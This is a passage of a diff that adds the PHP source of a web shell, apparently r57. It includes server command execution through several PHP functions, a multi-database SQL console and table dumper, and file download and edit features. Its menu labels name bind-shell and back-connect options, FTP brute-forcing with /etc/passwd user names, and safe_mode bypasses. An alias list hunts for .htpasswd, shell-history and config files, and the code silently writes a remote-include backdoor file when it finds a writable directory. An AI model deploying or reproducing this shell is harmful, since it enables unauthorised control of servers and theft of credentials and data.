zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#660000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#660000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( + +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Run Command in Safe-Mode <font color=\"red\">Vulnerable</font>', +'eng_text121'=>'<font color=\"red\">Safe-Mode Bypass ON</font>', +'eng_text122'=>'Run Cmd', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#660000><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +if (is_writable($dir)) +{ +$writ= "YES"; +$error= '<?include($_REQUEST["error"] . "/errors.php");?>'; +$fas=fopen("errors.php", "w"); +fputs($fas, $error); +fclose($fas); +$pwds="\nPWD: $dir";} +else {$writ= "NO";} +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#660000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; 